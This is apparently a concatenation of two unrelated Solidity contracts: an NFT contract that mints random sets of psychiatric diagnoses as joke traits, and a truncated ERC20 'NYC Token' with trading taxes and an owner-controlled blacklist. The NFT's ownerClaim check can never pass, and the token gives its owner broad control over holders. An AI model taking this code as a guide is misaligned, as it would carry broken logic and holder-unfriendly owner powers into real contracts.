* * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } contract dsm is ERC721Enumerable, ReentrancyGuard, Ownable { string[] private primary = [ "Academic or educational problem", "Acculturation difficulty", "Acute stress disorder", "Adjustment disorder", "Adjustment disorder, Unspecified", "Adjustment disorder, With anxiety", "Adult antisocial behavior", "Adult-onset fluency disorder", "Agoraphobia", "Alcohol intoxication", "Alcohol intoxication delirium", "Alcohol use disorder", "Alcohol use disorder, Mild", "Alcohol use disorder, Moderate", "Alcohol use disorder, Severe", "Alcohol withdrawal", "Alcohol withdrawal delirium", "Alcohol-induced anxiety disorder", "Alcohol-induced depressive disorder", "Alcohol-induced psychotic disorder", "Alcohol-induced sexual dysfunction", "Alcohol-induced sleep disorder", "Alcohol-induced sleep disorder", "Anorexia nervosa", "Antisocial personality disorder", "Autism spectrum disorder", "Avoidant personality disorder", "Binge-eating disorder", "Bipolar II disorder" ]; string[] private secondary = [ "Body dysmorphic disorder", "Borderline intellectual functioning", "Borderline personality disorder", "Brief psychotic disorder", "Bulimia nervosa", "Caffeine intoxication", "Caffeine withdrawal", "Caffeine-induced anxiety disorder", "Caffeine-induced sleep disorder", "Cannabis intoxication", "Cannabis intoxication delirium", "Cannabis use disorder", "Central sleep apnea", "Circadian rhythm sleep-wake disorders", "Cocaine use disorder", "Cocaine use disorder, Mild", "Cocaine use disorder, Moderate", "Delayed ejaculation", "Delirium", "Delusional disorder", "Dependent personality disorder", "Dissociative identity disorder" ]; string[] private tertiary = [ "Encopresis", "Enuresis", "Erectile disorder", "Exhibitionistic disorder", "Extreme poverty", "Factitious disorder", "Female orgasmic disorder", "Fetishistic disorder", "Frotteuristic disorder", "Gambling disorder", "Generalized anxiety disorder", "Hoarding disorder", "Homelessness", "Hypersomnolence disorder", "Idiopathic central sleep apnea", "Idiopathic hypoventilation", "Illness anxiety disorder", "Inadequate housing", "Inhalant use disorder", "Inhalant use disorder, Mild", "Inhalant use disorder, Moderate" ]; string[] private quaternary = [ "Narcolepsy", "Neuroleptic malignant syndrome", "Nightmare disorder", "Nonadherence to medical treatment", "Obsessive-compulsive disorder", "Opioid intoxication", "Opioid intoxication delirium", "Opioid use disorder", "Opioid withdrawal", "Opioid-induced delirium", "Other hallucinogen intoxication" ]; string[] private quinary = [ "Other personal risk factors", "Other specified anxiety disorder", "Other specified delirium", "Other specified gender dysphoria", "Other specified mental disorder", "Panic disorder", "Overweight or obesity", "Pedophilic disorder", "Phase of life problem", "Pica", "Problems related to multiparity", "Schizophrenia" ]; string[] private senary = [ "Sex counseling", "Sexual sadism disorder", "Specific learning disorder", "Specific phobia", "Substance withdrawal delirium", "Specific phobia, Animal", "Specific phobia, Fear of injury", "Stimulant withdrawal", "Tardive dyskinesia", "Unspecified anxiety disorder", "Voyeuristic disorder" ]; string[] private suffixes = [ "DSM" ]; string[] private namePrefixes = [ "DSM" ]; string[] private nameSuffixes = [ "DSM" ]; function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } function getprimary(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "Primary", primary); } function getsecondary(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "secondary", secondary); } function gettertiary(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "tertiary", tertiary); } function getquaternary(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "quaternary", quaternary); } function getquinary(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "quinary", quinary); } function getsenary(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "senary", senary); } function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) { uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId)))); string memory output = sourceArray[rand % sourceArray.length]; uint256 greatness = rand % 21; if (greatness > 14) { output = string(abi.encodePacked(output, " ", suffixes[rand % suffixes.length])); } if (greatness >= 19) { string[2] memory name; name[0] = namePrefixes[rand % namePrefixes.length]; name[1] = nameSuffixes[rand % nameSuffixes.length]; if (greatness == 19) { output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output)); } else { output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output, " +1")); } } return output; } function tokenURI(uint256 tokenId) override public view returns (string memory) { string[17] memory parts; parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">'; parts[1] = getprimary(tokenId); parts[2] = '</text><text x="10" y="40" class="base">'; parts[3] = getsecondary(tokenId); parts[4] = '</text><text x="10" y="60" class="base">'; parts[5] = gettertiary(tokenId); parts[6] = '</text><text x="10" y="80" class="base">'; parts[7] = getquaternary(tokenId); parts[8] = '</text><text x="10" y="100" class="base">'; parts[9] = getquinary(tokenId); parts[10] = '</text><text x="10" y="120" class="base">'; parts[11] = getsenary(tokenId); parts[12] = '</text><text x="10" y="140" class="base">'; parts[13] = '</text></svg>'; string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13])); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "dsm #', toString(tokenId), '", "description": "DSM is The Official Diagnostic Statistical Manual for Degens", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } function claim(uint256 tokenId) public nonReentrant { require(tokenId > 0 && tokenId < 1000, "Token ID invalid"); _safeMint(_msgSender(), tokenId); } function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner { require(tokenId > 0 && tokenId < 0, "Token ID invalid"); _safeMint(owner(), tokenId); } function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } constructor() ERC721("DSM", "DSM") Ownable() {} } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }
True
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// SPDX-License-Identifier: MIT // // Webiste: https://www.nyctoken.net // Telegram: https://t.me/NYCtoken pragma solidity ^0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract NYC is ERC20, Ownable { using SafeMath for uint256; address public constant DEAD_ADDRESS = address(0xdead); IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 public buyLiquidityFee = 0; uint256 public sellLiquidityFee = 5; uint256 public buyTxFee = 7; uint256 public sellTxFee = 10; uint256 public tokensForLiquidity; uint256 public tokensForTax; uint256 public _tTotal = 10**10 * 10**9; // 10 billion uint256 public swapAtAmount = _tTotal.mul(30).div(10000); // 0.3% of total supply uint256 public maxTxLimit = _tTotal.mul(30).div(10000); // 0.3% of total supply uint256 public maxWalletLimit = _tTotal.mul(100).div(10000); // 1.00% of total supply address public dev; address public uniswapV2Pair; uint256 private launchBlock; bool private swapping; bool public isLaunched; // exclude from fees mapping (address => bool) public isExcludedFromFees; // exclude from max transaction amount mapping (address => bool) public isExcludedFromTxLimit; // exclude from max wallet limit mapping (address => bool) public isExcludedFromWalletLimit; // if the account is blacklisted from transacting mapping (address => bool) public isBlacklisted; constructor(address _dev) public ERC20("NYC Token", "NYC") { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), 